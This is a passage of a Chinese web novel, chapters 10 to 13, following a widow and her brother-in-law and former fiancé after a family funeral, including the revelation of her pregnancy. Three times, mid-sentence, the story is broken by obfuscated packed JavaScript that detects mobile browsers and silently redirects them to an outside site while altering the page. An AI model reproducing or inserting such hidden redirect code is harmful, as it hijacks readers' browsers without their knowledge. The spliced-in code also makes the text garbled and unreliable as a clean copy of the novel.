“今天二夫人没有吃晚饭,我看她回来的时候,心情好像不太好。” 敬渝停下了手中的动作,思绪往回拉,想了想,今天下午他就感受到了,越到后面,她整个人越阴郁低落,他觉得舒纯熙简直就要化为一片乌云站在自己身边了。 原来他没有感受错,她确实是心情很差,连李阿姨也看出来了。 敬渝叹出一声气音,道: “我上去看看,你们热点东西,看等会她愿不愿意吃。” 交代完,敬渝又从李阿姨手里面拿回了自己的外套,一步一步地上了楼,往舒纯熙的房间走。 他并没有太醉,脚步依旧沉稳,停在她的房门外。 但现在已经十一点了,或许她也已经睡着了。 门缝里面也确实没有透出光亮,至少房内没有开灯。 敬渝犹豫了一下,一时间拿不定主意。 很快他又想,万一她还是像上次那样趴着睡,怎么办? 带着这样的疑虑,他还是静悄悄地打开了房门,动作很轻地走了进去。 走廊上的灯顺着门开的角度,把光线放了进去,于黑暗中劈开一道亮面。 舒纯熙双手抱膝,坐在床头,眼皮子抬了一下,看到了逆光站在光里面的男人。 敬渝本想着就这样让门开着,好避嫌,但他打开门之后,才发现舒纯熙并没有在睡觉。 他的夜间视力很好,更何况阳台上的窗帘也没有拉,还有夜空里照进来的月光。 从走廊里照进来的亮光,就显得像是打破室内和谐的突兀了。 敬渝沉默着,走了进来,然后手向外轻轻一推,又将门给关上了。 房间这才恢复原先的宁静。 进来的人则缓缓地走到沙发上坐下。 沙发和床头,两个人都没有再刻意地去打量彼此,就这样在良夜里守着自己的位置静坐着。 敬渝什么话都没说。 但舒纯熙却觉得,这是他跟自己无声的拉锯,又或者,他这样仅仅是在默默地陪着她? 想到这两种可能性,她有点诙谐地勾起唇角,勉强地笑了一下。 敬渝在沙发上正襟危坐,他能感受得到房间里游弋着的压抑的氛围。 或许以为她睡了,然后进来看看她的选择本就不对。 否则也不会造成现在这种情况,他走进来,遇上清醒着的她。 她不问什么,而他一时间也不知道能说点什么。 敬渝只好独自坐在那里,望着眼前的空气,默然地感受着这房间里的一切。 彼此的呼吸声,还有她周身散发出来的令人感到悲伤的气场,亦或是阳台外开始叫嚣的春虫。 或许是酒精让他有了一种奇妙的错觉。 仿佛这一夜在他面前将某些东西撕开了一个口子,让他得以窥见些什么。 不,应该是面对。 比如,自从两年前她那么决然地离开他身边,一直到敬亭身死,她从巴黎回来,一直到这一夜,他们都还没有像现在这样与彼此面对面过。 黑夜助长了感官的认知,也滋生了良久以来沉寂在心底的情绪。 现在这种,谁也看不到谁的情况,或许才是最好的。 她消融了对他的疏离和怨怪,而他也不必再掩藏他的思念和愧疚。 他开始眷恋这一刻,多想永远就这样停留在这里。 但他又无可避免地要与她的那份悲伤直面对上。 这叫他怎么有办法视而不见? 他的思绪走得很慢,带着点谨慎,但更多的竟然是不情愿。 终于,他还是不得不承认,这场葬礼终究还是影响到了她的情绪。 敬亭的死,她还没有释怀。 …… 她爱上敬亭了吧。 敬渝的眸子垂下,周身的那种落寞几乎没有掩饰,放在身前的双手缓缓交握在了一起,无奈却又固执地拧紧,像是一个越来越牢固的结。 所以她这么伤心。 而他最是无能为力的,恰恰就是她现在的这份伤心。 他有什么安慰她的资格? 10. 第 10 章 第十章、 不知道过了多久,打破这一室静谧的竟然是一声肚子的“咕噜”声。 在原本没有声响的房间里很明显。 敬渝如梦初醒,身体先意识一步勾起了唇角,淡淡的,但确实是一个笑。 他站起身来,对着床头那缩成一小团的身影说: “刚刚上来之前,我让李阿姨准备一点吃的,下去吃一点吧?” 她一时之间没有动。 敬渝不知道她是什么意思,踌躇之后,还是主动往她的床边走近了些,几近站在她身边,然后朝她面前递去了自己的一只手掌。 这样的举动对他来说,已经很是出格了。 但好像在这个黑夜里,所有的规矩都能被暂时搁置在一旁。 于是他任由着心里那点作祟的情绪放纵着,没有改变主意,递给她的手就那样横在她身侧。 舒纯熙在朦胧的月光里看清那只指节分明的手,一根一根骨头连在一起,被表面清瘦的皮给罩在一起。 她盯着看了好一会儿,合在一起的双唇翕动着,伴随着她的一呼一吸。 似打量似审视,又或是把握着这来之不易的机会,难得地可以观察他的手。 良久,她才伸出自己的手,像是试探什么不真实的东西一样,轻柔地搭了上去。 和她下午的时候感受到得差不多,但现在的体验更丰富了,也更具体。 敬渝的大掌很干燥也很顺滑,她的手放在上面,抚在他还算有点肉的平整的掌心,竟然能从他冰冷的手里摩挲出若有似无的一点温暖。 她抿紧了嘴,手掌向前走,指尖碰得到他的几根手指。 修长,没有一丝多余的赘肉,她轻抚了一下,又鬼斧神差地,将自己的几根手指插进他几根手指中间的空隙里面。 他们的手如同十指交握一样,连接在了一起。 从始至终,敬渝一动未动,任凭舒纯熙像是好奇一般抚摸探索着他的手。 但唇已经紧绷了起来,身体也僵硬得很。 总算,舒纯熙手上使了劲儿,敬渝会意,支撑着她,把她从床上拉了下来。 在这期间,她的手已经换了位置,两个人也没有再维持先前的“十指交握”。 但她下了床,手还是牵着他的,并没有主动松开。 敬渝顿了顿,用了些力,带着点强势,将她的手包在自己掌中,然后才往前迈开了脚步,拉着她往门边走。 门被打开,走廊里的光再次照进了原本黑暗的房间里。 所有的一切都要见光。 舒纯熙面上没有什么表情,望着外面那晶莹透亮的水晶吊灯,缓而轻地收回了自己灌注在手上的力量。 敬渝感受到了,他紧抿着唇,手随即轻轻地松开。 那只纤细的手就此垂下,乖顺地垂在她身侧。 舒纯熙率先走了出去。 手上还留着些挥之不去的触感,仿佛烙印般刻在了他的心上。 敬渝停在原地,有一会儿没有动,过了一会儿,他才继续迈步,跟上前去。 . 昨夜的事情是一场短暂又怅惘的美梦。 心底里面尘封已久的某些展望,早就旧得不行了,连新年回顾时,都没有再被翻出来比对的必要了,但她确实是在那一场迷蒙里,真切地触碰到了那个人的指尖。 无声之中,心脏上面的某个地方,好像被压实了。 她不奢求更多,决心就此消弭那本就为数不多的遗憾。 . 第二天日头高照,舒纯熙一切如常,敬渝也是。 她跟第一天一样起得很早,打起精神去面对接下来的两天。 虽然葬礼会持续一连三天,但她能见人的机会却很难得,一旦错过,等人离开敬宅,她就不知道什么时候能碰上下一次机会了。 这天晚上,舒纯熙也没有出席晚席,只是自己在主楼吃了饭,然后走到阳台外面,试图故技重施。 但是晚上的光亮比起白天实在有点勉强,远处的路灯照出一片片惨白的光,整个花园里还是隐在黑暗之中。 虽然能看见有些人离席在花园里散步,却并不能看清楚到底谁是谁。 舒纯熙决定换个方法,下了楼,朝着摆晚席的宴会厅缓缓走着。 这一路上倒是遇到不少人,白天都打过照面,认出来并不算太难。 她同那些不在宴会厅里的人点头示意,借口自己去看看有没有什么能帮忙的,同时目光在所到之处一扫而过,寻找着自己心里锁定的几个身影。 终于,她即将抵达宴会厅之前,看见了昨天想见却没见到的周政。 他竟然还没有离开,她松了一口气。 周政站在廊下的一处灌木丛旁,看样子应该在散酒气。 只是这地方人多眼杂的,算不上什么谈话的好地方,舒纯熙想了想,直接转道向左,想从另一边的小径走近,避免被宴会厅门口的其他人看见。 她绕了点远路,踏上走廊时,却眼睁睁看见周政旁边已经有人比她更先靠近,并且还是她今天一直没找到机会“偶遇”的支宁方。 脚步便只好停在此处,看着两个人交谈着往回走。 等到视线里看不见他们后,她才跟着走出长廊,进了宴会厅。 宴会厅里自然是人声鼎沸,觥筹交错,热闹非凡,交谈声不绝于耳。 舒纯熙顺着余光,想往大厅旁的洗手间跟过去。 刚刚她追进来的时候,就是看见那两个人消失在了尽头,应该就是去了洗手间。 但直接等在洗手间外面,多少还是有点唐突了。 心里面泛起一阵纠结,终于还是准备向右转身,往那一条侧面的廊道走过去。 一侧胳膊突然被一只有力的大掌给拽住,舒纯熙心惊着抬起头,立刻就要挣扎着摆脱手上的力量。 那人却没有松手的意思,手上的力气隐隐加重了一些,语速很快,低声对她说: “你在找人?” 舒纯熙已经仰起头,那人正顺着她先前的视线,侧头向左边望过去,微挑起下巴,将下颌的线条扬在她眼前。 看见是敬渝,她的身体不复方才那么警惕,稍微放松了一点。 但她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376258|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不想跟他多说什么,眼神更是没有再望旁边去望了。 “我过来看看,有没有什么能帮忙的。” 她淡淡地说道,手向后用力一拽,目光直直落在他抓着自己的地方。 敬渝本抿着的唇微微张开,眼神收回来看着眼前的人,随即放开了自己抓着她的手,向后退了小半步站定。 他“奥”了一声,仿佛接受了她的回答,没再追问,只有突兀地嘱咐了一句。 “隔墙有耳。” 舒纯熙快速地眨眨眼,耳边几人的说话声由远及近地传过来。 不等她细想,敬渝已经伸手把她拉到自己身边来。 整个人面对面地被他拥进怀抱里面,情急之中她只感觉自己被带着转了半圈,然后往后猛地一拉。 头顶紧接着传来一声若有似无的闷哼。 他们现在躲进了一个角落里,这地方并不大,本应该是留出来放巨型花瓶盆栽的,因为敬渝和她有两个人,难免有点逼仄,谁叫这本就不是个藏人的地方呢。 方才那一声闷哼,应该就是敬渝带着她躲进来,没掌握好力道,后背不小心撞到墙上了。但他又不能被人发现,所以那一声是他刻意压着不敢发出来的。 得益于敬渝带她侧身躲在这里,她很快也就想明白,他一开始是从哪边过来的了。 不怪她不够警惕,而是他原先就藏在这里。 她僵着嘴角,一时间却想不明白他怎么会在这儿,他不应该在里面招待客人吗? 被他带进来的时候,她就下意识地低下头,不让别人看见自己的脸,等进了这侧壁里空间更小了,她也没能抬起头来。 更何况他们现在的姿势这么亲密,彼此的身体都贴得很近。 男人的胸膛近在咫尺,舒纯熙只好垂下眼帘,尽量忽视自己如同家猫般被他揽在身前的动作。 双手无处安放,再往前,就是他的西裤裤腿,她便只好干巴巴地举在半空里,僵直着手腕。 男人陌生的气息铺天盖地地钻进她的身体里。 眼睛有意不看,却并不影响脑海里已经因此开始了想象,想着他现在究竟是什么模样。 耳边好像还听得到他坚实有力的心跳声,“扑通扑通”,一下又一下,连带着她的心脏也跟着一起跳动着,逐渐跳动成了一样的节奏。 而他压抑着的鼻息,也扑在她耳边。 酒味带着刺鼻的气味钻进她的鼻子,并不算浓,但她没有忽视。 可攫去她心神的还是那酒味之下,独属于他自己的味道。充满陌生和不确定,像是带着标记作用的药剂水一样,迅速又猛烈地冲击着她的思绪。 她抵挡不住,却又不会坦然接受。 先前那声音总算到了最近,仔细听,至少有四个人结伴经过。 她喉中一涩,这才明白刚才敬渝的那句话是什么意思。 大厅里的人确实太多了,被任何人撞见她跟她要联系的那些人在一起,都有可能造成严重的后果,打草惊蛇。 刚刚,她确实是心急了。 那几个人从他们侧面经过,应该在往远处走。 11. 第 11 章 第十一章、 那几个人从他们侧面经过,应该在往远处走。 敬渝总算垂下双眸,鸦羽般的睫毛轻扫了两下,看向怀中的人。 几乎不仔细观察就看不出来,她的双肩连带着整个身体,正在小幅度地颤抖着。 但他跟她现在离得很近,早已经超过社交距离,所以她的动作完全躲不过他。 有点像是冻到起了鸡皮疙瘩后的表现,他疑惑着,声音压得极低, “你怎么了?” 心中关切,手上的动作不免也加重了一点,但几乎是立刻,她的颤抖也更剧烈了一些。 敬渝呼吸一滞,原本搭在舒纯熙左肩和腰上的两只手,立刻就撤掉了肌肤上的触碰。但碍于空间狭小,做不了大动作,双臂只是在原来的位置上向外张开了些,有些突兀地依旧环绕着她身体,中间隔开了几厘米的空隙。 舒纯熙已经注意到身上的触感消失了,而耳边那几人的声音也不再传来了。 她抬起头来,看敬渝沉静的双眸,那里面粘稠得如黑夜,却什么都看不出来。 压下心中慌乱和身体上的不适,双唇快速地开合几下,淡淡地说: “没什么。” 显然是不想多说的意思。 而敬渝盯着她的脸,看她确实已经平复了下来,但周身散发出的刻意的疏远很明显。 他将唇一抿,没再追问。 几息之后,刚刚的事已经默契地被两人揭过去,敬渝转而问起了另一件事,话说得很直接, “你是不是想见伯父以前的下属?” 她为什么会出现在这里,总得有个解释。 舒纯熙抿紧嘴巴,犹疑刚在心里升起就被她给压了下去,连忙否认道: “不是。” 语罢,她直接向外退了两步,和他拉开了距离。发问的人也就从侧壁里走了出来,两个人定定地站在外面。 但敬渝的目光始终没有离开舒纯熙,在她微微偏过头躲避自己的眼神之后,凝视着她留给自己的侧脸,沉默地望了一会儿。 没有戳破。 . 第三天来吊唁的人一下子少了许多,反而是有许多前两天来的客人要启程离开了。 舒纯熙一整天也没有再遇到周政,心里虽然对“他应该已经离开了”这件事多少有些数,但情绪还是不免低落了起来。 事情就差一点点就能完成了,但就是没有成功,她心里笼罩着一种不上不下的郁闷焦虑。 这几天,除了周政,其他的人她都找机会见上了,只差周政了。 等到晚上,舒纯熙也到门口,跟敬渝一起把最后一批宾客送出门,看着一辆辆轿车从那条绵长的大道上消失不见,驶出敬宅。 葬礼结束,其他族人也并不想多在敬宅过上一晚,毕竟再好也不是他们自己的家,每个人都归心似箭,便也陆陆续续地告辞离开了。 敬宅又恢复了以往的寂静与空旷。 敬渝的目光从远处阴沉下来的天色中收回,转了身,待舒纯熙也跟上,两个人并肩往回开始走。 其他的人保持了一段距离,远远地跟着他们,走在后面。 “纯熙,我们能,” 夜色降临,他低头用心看路,目视脚下,但话是跟舒纯熙在说的。 声音里浸染着一股温和,明明是事先就打好腹稿的话,真的说出了口,他还是忍不住停顿了一下,然后才有点不确定地说下去。 “呃,好好聊一下么?” “大哥想聊什么?” 舒纯熙看着路灯光亮投下的方向,地面上依偎着他们俩被投射出的影子。 影子错位,看上去离得很近也很亲昵,而实际上的他们,中间隔着半臂的距离,不远不近,守着彼此的一方天地。疏离有礼,规矩得很。 “上次你去见伯父伯母,他们都好吗?” 敬渝盯着眼前的一块石板,忽然停下脚步,不再往前走了。 身旁的女人便也停下脚步,站在他身后,悠悠的声音传到耳边, “他们一切都好。” 父亲两鬓染白,老了不少;母亲放松了下去,不再是从前那么忙于工作的样子了。 想着,她缓缓抬起头,盯着眼前人的肩背看。 男人的声音又传到耳边,继续道: “那你呢,你之后有什么打算,要留在国内,还是回莫瑞恩尔?” “我没什么打算。” 她淡淡地堵住了他的话头。 闻言,敬渝绷着的肩背缓缓地松下去,动了动唇,却没有再发出声音了。 几息之后,他说了句“好吧”,再次迈开了步子。 两个人没有再搭话,不疾不徐地走回了主楼。 客厅里,听见主人回来的动静,宗正从沙发上起身,朝他们的方向迎了一步。 舒纯熙这才发现,宗正还没有走。 她迟疑地朝客厅里站着的男人望过去,身边的敬渝已经开口解释道: “宗先生说他在昼米尔市还有点事情要谈,所以在家里再住几天。” 说话的功夫,宗正也已经走到了他们的面前,朝她和敬渝笑笑,颇为客气地说: “本来今天我也该告辞了,只是忽然家里交代了点生意上的事情要谈,恐怕还得继续叨扰敬总跟二夫人几天,实在不好意思。” 敬渝回以宽慰的微笑,只是道: “宗先生不必客气,若有什么住不惯的地方,尽管跟李阿姨说就好,平时要用车出门也可以提前说一声,让他们安排。” 两个人你来我往的寒暄着,舒纯熙没有开口的必要性,看宗正也没有向敬渝主动提起他跟自己的亲戚关系,她就更没有心思听两人说什么了,目光虚虚地落在远处,想早点回房间。 终于,三人在楼梯处分开,舒纯熙上了楼回房,而宗正的房间被安排在一楼,跟敬渝短暂地同路了一会儿,然后敬渝在转角一拐,去了书房。 葬礼终于结束,本应该有一段松快的时间,能让人好好休息一下。 但敬渝的思绪却停不下来,这几天他见了很多人,聊了不少天,也谈了不少事,这其中桩桩件件的前因后果,千丝万缕都需要他在心里一遍遍复盘。 生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376259|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕哪一点没顾到,就白白浪费了这么多天来的费心筹谋。 他拿起手边的几份资料,翻了翻,然后又翻开手边笔记本,在新的一页上写上几句话。 案头工作细碎繁琐,他低头俯身,不知不觉时间已经过去了很久。 郑徽敲门进来,这几天公司里也堆积了一些工作上的事务,他刚刚做好汇总,正好拿过来给敬渝看。 郑徽卡着点来的,先前的事情敬渝梳理得差不多了,头也没抬,让郑徽先去沙发上坐着等他。 书桌后的人思绪未被打断,细致又谨慎地做完最后的收尾工作,将本子合上,才站起身来,将位置换到了另一边的沙发上。 郑徽已经将几份文件按照事情的轻重缓急给放好了,他已经做了最简洁的汇总,有些事情只是为了让敬渝拿定最终决定,或者是让他知晓进展。 这些事情之中并没有什么紧急的突发状况,所以能留到现在,其实明天看也来得及。 但郑徽清楚敬渝的性子,工作上的事他一向不喜欢拖延,今日事今日毕,准则称得上严苛,对人对己都是如此。 敬渝走过来后,两个人很快将几份文件的事情做了交接,他一一作了批复指示,然后紧绷着的面容才放松下来,转眼间,绽开一种有点沉重,却还有几分茫然的情绪。 郑徽收拾好文件重新放在身前的茶几上,瞥了一眼正在揉眉心的男人,一时间没有着急着走。 于公,他是敬渝的秘书兼助理,已经跟随他工作了将近六年的时间,可以说是一步步陪伴着他成长,直至大权在握的。 刚开始参加工作的敬渝,于公司事务上其实颇为青涩陌生,但他却选择了自己这个更没有经验的毕业生做他的秘书,遇到事情,反而还是太子爷挡在他前面。 后来敬渝越发成熟,直到后面几年,逐渐收揽回家主的所有权力,成为公司里真正说一不二的存在,自己都一直紧紧追随着他,没有落队。 所以,于私,郑徽把比自己小一岁的敬渝,当做半个朋友。 还是一个于任何方面都出类拔萃的朋友。 能让他像现在这样的人或事,不多了。 郑徽的视线直直落在茶几上摊成一小堆的书上面。 原本那天,他看见敬亭在看的那本书,心里就生出了一点疑惑,直到刚刚,才发现他不是只有那一本,而是买了一大堆这方面的书。 敬渝平时看书的习惯很好,都是规整地合上摆放在一起,一本压着一本,归纳成一摞放着。 但眼前这一摊,显然是他没心思好好整理,一本的书脊搭在另一本书的半边上,又被另一本书给压在下面。 最上面那本封面上的书名直截了当地撞进眼睛里面:《怀孕胎教知识百科全书》。 而剩下的,他刚才也忍着奇怪悄然拿起来一一查看过了,名字也是各异,什么《美国儿科学会育儿百科》,《孕产期保健护理实用百科》,《孕产妇饮食营养全书》,《妇产科护理学(第4版)》…… 郑徽想不明白敬渝为什么要看这些书,他跟孕妇和育儿这两件事情,分明就扯不上半点关系啊? 12. 第 12 章 第十二章、 这一边,坐在沙发上的敬渝正合着眼,不知道在思索什么。 郑徽没有走,他也没管,只是一只手肘撑在沙发的扶手上,紧紧抵着额头。 “如果……如果有一个对你很重要的人,被你伤了心,生了你的气,” 男人突然出声,似乎还在纠结,下不定决心开口,也找不到合理的措辞,艰难又晦涩,用非常缓慢的语调才把话给说完, “无论你要跟她说什么,她都不想跟你好好说话,对你很疏离……这种情况,应该怎么办?” 敬渝话刚开口,郑徽就惊了一下,完全不用思考,就能猜出来他说的是谁。 而说完这话的敬渝,他还是一开始那样子,并没有抬头也没有看向自己这边,应该没有看见自己的反应。 这可真不是一个好回答的问题。 当年发生的事情,他有印象,可是敬渝讳莫如深,这几年从来没有主动提起过。 为数不多的几次跟舒纯熙的见面,除非真的有事,否则舒纯熙不会主动跟敬渝说一句话。对此,郑徽也看他反应自如,表现如常,根本就没有任何放不下的失意模样。 她跟敬亭一起回敬家来,他最多也就是提前关照一下家里的布置还有请的厨师,做一个细心好客的大伯哥应该做到的一切。 多余的举动,一点也不会有。 她跟敬亭启程离开,他也只是送到机场,然后返回公司,一投入到工作中,照样挥斥方遒,好像要把整个人都奉献给暮帆商会的事业一般。 而敬渝本来就是一个工作狂,郑徽从来没觉得有什么不妥的。 可时至今日,亲口听到从敬渝口中说出来的那个“对你很重要的人”,他也不得不承认,大概,敬渝从来就没有放下过舒纯熙。 可那人,已经是他亲堂弟的遗孀了。 真要问他的话,他只能说既然人家要跟他老死不相往来,那他除了尊重她的意思,不也没有别的办法了吗? 但敬渝问都问了,他也只能站在敬渝这边去考虑……可是难不成两年都过去了,他现在才要去求一个原谅么? 时过境迁,物是人非,又念及前因后果,这事有多难办,郑徽都不敢想象,只好斟酌着,努力委婉地反问了一句: “所以,你是希望能获得她的谅解,让她不要再生你的气了?” 希望能获得她的谅解,让她不要再生我的气了? 敬渝睁开了眼睛,眼里已经不再是茫然,反而清晰地浮上几分苦楚和无奈来。 他自顾自地摇了摇头,动作幅度很小,仿佛只是在说给心里的自己听。 原谅自己。 这大概……是不可能的。 艰难地张开嘴,声音在寂静的书房里响起,他好像叹了一口气,又干巴巴地说, “算了。” 有点颓唐地说完这句话,敬渝站起身来,目光随意地扫过茶几上的那几本书,又看了一眼郑徽望着自己欲言又止的表情,立刻就想明白他现在这样是因为什么。 都已经被他看到了,大概也没有什么必要再把书拿走收起来了。 本也瞒不了多久,等过几个月,所有人就都会知道了。 胸膛里一坠一坠地感到沉闷,站着的男人视线只是在茶几上轻轻扫了一下,很快就收回来。 拖着沉重的步子走到门口,敬渝像是一只鬼魅一样,充满落寞地打开门,走了出去。 还坐在沙发上的郑徽这才反应过来,有点讪讪地想,忘了说了,不管他现在或者过去到底怎么想的,马上又准备干什么,是不是首先都得好好道个歉啊? …… 敬渝出了书房,沿着走廊走到中庭,隔着玻璃望着外面专门辟出来的一块地,上面种着的几簇青竹今年已经蹿得很高了,中间延伸出来一条弯曲的石子小径,一排竹影在月下悠然摇曳。 人影闯入,一脚踩碎那些影子,将美好的画面给毁了。 敬渝抬头,看着小径里的男人慢慢朝自己走过来,然后打开玻璃门,来到自己的面前。 他冷着脸,幽幽地问候道: “宗先生还没睡?” 宗正脸上挂着极浅的笑,有些惭愧地摇了摇头, “本来要睡了,但是想起某位尊长所托,细细思量了一番,想着想着,便实在无法安然入睡了。” 敬渝只道他说的是长辈要他在北市谈的生意,场面话张口就来,不需要代入就能劝慰道: “商场如战场,任何生意都不是一夕之间就能促成的,宗先生不用思虑过甚,顾好身体才能徐徐图之。” 宗正看着敬渝,笑着点点头,好像是认同他说的了,但是那笑很快就敛了下去,反而解释道: “敬总误会了,令我辗转反侧之事,不是生意上的事情。” 敬渝挑了下眉,配合地接着问道: “哦?那还有什么事情让宗先生挂怀至此?” “不瞒敬总,那位托付我的尊长正是我的一位远方表姨,昔日南省省财政司的杨秘书,我唤她一声‘杨小姨’。所以,二夫人其实算得上是我的表妹。” 宗正慢慢说道,看着敬渝的神色,自顾自地叹了一口气,道: “这次我虽然是为奔丧而来的敬家,但其中也有一部分的原因,是受了杨小姨先前的托付。 “想必敬总也清楚,二夫人乃是我杨小姨一家人如珍似宝的掌珠。如今,令堂弟已去,杨小姨一家唯一担心的便是二夫人的往后,但他们身陷囹圄,多有不便,所以有些话,就不得不由我这个远方表兄僭越,来替他们问上一句了。” 面前人望他的眼神,总算从那种平淡疏离变成了带着探究的思量,终于开口,语气还算和善地说: “原来是这样。宗先生不必担心,敬亭虽然走了,但我敬家还在,弟妹在敬家,一切如常。我会保证她的安全。” 是“会”,却不是“可以”,也不是“能”。 那就是,他会尽力,却没办法百分百保证舒纯熙的安全。 不是么? 虽然宗正知道,若说这话的人是敬渝,那么结果就大差不差了,但他还是在这几个词的巧妙选择里暗自沉下了心,凝视着眼前人,继续道: “既然敬总都这么说了,我自然没有什么不放心的了。只不过,我还有一个顾虑,不知道敬总可愿回答?” 敬渝敛眸, “请讲。” “我虽然生长在北省,但也曾听说过,二夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376260|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人与敬总其实是青梅竹马,后来更是未婚夫妻,只是阴差阳错,最后才成了大伯哥与弟妹,” 宗正一看敬渝眼里逐渐积聚起来的漩涡,就知道这件事,这几年已经没人敢在敬渝面前提了。但他话音未断,接着说了下去, “先前敬总也说,会尽力保护二夫人,可我心里始终有一层顾虑未消,毕竟,敬总维护堂弟妹的用心程度,无论如何也不会超过对自己夫人的程度,不是么?” 这句话并不好回答,可以说是明晃晃的暗示与试探了。 敬渝与宗正,在灯光与月光的交叠下眼神对峙胶着着,他不得不在心里思虑,这是舒家人的意思,还是眼前这个所谓表哥自己的意思,亦或是什么其他人的意思? 他若是承认了方才宗正的话,那他们又会有什么自己不能预料的举动。 但他若是否认,他看待舒纯熙,就如同看待自己的夫人一样,如此一来,不是相当于明晃晃地承认,他敬渝,竟对自己的堂弟妹生出了觊觎的肮脏心思? 敬渝嘴角一扯,冷冷地答道: “方才我便劝过宗先生了,多虑不是好事。我敬渝自认为还算是正人君子,对待自己未来的夫人,和自己的弟妹,自然一视同仁,绝不至于厚此薄彼。” 如此一来,宗正原先藏在话里的那个暗示性的问题,便是被堵死了。 正人君子,又怎么会娶自己堂弟的遗孀,受人指摘呢? 看来两人绝无再续前缘的可能了。 得了敬渝的回答,宗正摆上歉疚的笑容,连连道歉, “方才的话,是我以小人之心度君子之腹了,不过是一句玩笑话,敬总千万不要往心里面去才是。” 敬渝的脸色依旧很冷,幽幽地打断道: “不是什么东西都能拿来开玩笑的,烦请宗先生下次注意些。” “那是自然。” 宗正看了看天,没有再跟他东扯西扯,很快辞别了敬渝,回了自己的房间。 反观留在原地的敬渝,被他刚才那一通话搅得早没了观竹的兴致,只好回了书房。 进了门,郑徽已经走了,他走到原先郑徽坐着的地方,低头望了一眼。 茶几上,那几本书依旧杂乱地叠放在一起。 连带着方才在外面听到的宗正的那些话,一起把他的心往下拽。 其实,出门之前,刚回到书房的时候,他还是先看了一会儿这些书的。 枉他从前还觉得自己自制力尚可,心却也有了实在静不下去的一天。 那些字都是科普的知识性要点,告诉他该怎么好好照顾孕妇与她肚子里的孩子。 她的情绪要好好照顾,任何的需求都不应该被忽视,孩子的父亲还应该每天都抽出一些时间来进行胎教,要让孕妇和她肚子里的孩子都感受到被关爱和满满的安全感。 他读着读着,只觉得心里堵得慌。 孩子的父亲在哪儿? 孩子的父亲都死了。 然后他就开始处理工作,似逃避一般,仿佛不知疲倦地工作才是他的常态,才是应该的。 他让自己一直处于忙碌的状态,刻意不去想那些他其实并不想考虑的事情。 但理智认了,心却还在作祟。 13. 第 13 章 第十三章、 车祸过后,是从昏迷中醒来的舒纯熙主动加上了他的联系方式,在病床上给他传来一条消息。 她说她怀孕了,但她不想声张,只想要回国待产,要他派人将她安全地接回来。 那时候,他正执意要求将敬亭接回国内安葬,她既然也要回来,倒是同自己里应外合,成功让敬佟夫妇松了口,最后说定由舒纯熙送敬亭的骨灰回国,落叶归根。 …… 敬渝都要记不起来,当自己得知舒纯熙怀了敬亭的遗腹子时,他的那种难以言喻的心情了。 其实,他本就有接舒纯熙回国来的打算,即使舒纯熙自己不要求,待她伤好,他也是要询问她的意思的。 但他真的没想过,舒纯熙怀孕了,怀了他亲堂弟的孩子。 原来那时候敬亭在饭桌上压制不住的挑衅,说他们准备要孩子的话,竟然是真的。 她真的怀孕了。 她要生一个她和敬亭的孩子,十月辛苦怀胎,九死一生,然后生下她跟敬亭的孩子。 好,很好,好得很。 他不知道自己该有一个什么样的心情,什么样的态度。 但他还有理智,他知道一个合格的大伯哥,现在应该有一个什么样的心情和态度。 他是敬亭的堂兄,敬佟夫妇只有一个独子,虽然儿子出车祸英年早逝了,但万幸他的妻子孕育了他的孩子。 敬亭人虽然去了,但她舒纯熙会给他在这世上留下唯一的血脉。 他很为敬亭和敬佟夫妇感到高兴和欣慰。 然后就是舒纯熙,她回了国回到敬宅,他一定会好好照顾她,减少她孕期的一切不适,照拂她,让她平安诞下这个孩子。 他一遍又一遍,强硬又坚定地告诉自己,他很高兴,他很欣慰。 他很高兴,他很欣慰。 孩子已经没有了父亲,以后就让他这个大伯来承担父亲该有的责任。 他就这样告诉自己,孜孜不倦。 可是,原来他对自己也没有那么的了解。 一开始那种难以言喻的心情,从来就没有消散,它笼罩着他,时不时就钻出来折磨他。 挥之不走,杀之不尽。 他细致地做了所有安排,买了许多书回来看,要践行他做的决定。 所有的一切都在他的掌控下进行着。 他还是那个守规矩有担当的大伯哥。 心里面那些鬼鬼作祟的念头,除了他自己,始终没有人知道。 . 次日。 刚操持完一场费心费力的葬礼,今天敬渝并没有去公司,一上午都待在书房里。 而舒纯熙,昨天半夜才成功入睡,第二天醒来的时候,外面天光已经大亮。 敬家人的餐桌上一向并没有太多人,准确来说,往日就只有他一个,现在,除了借住的宗正,倒是还多了一个常驻的人。 自从她回来,每顿吃得都不多,昨天几个新厨师已经到位。 正好今天他在家,也可以一起试试新来的厨师做的菜。 方才就已经遣人去叫舒纯熙了,但过了一会儿,她还没来。 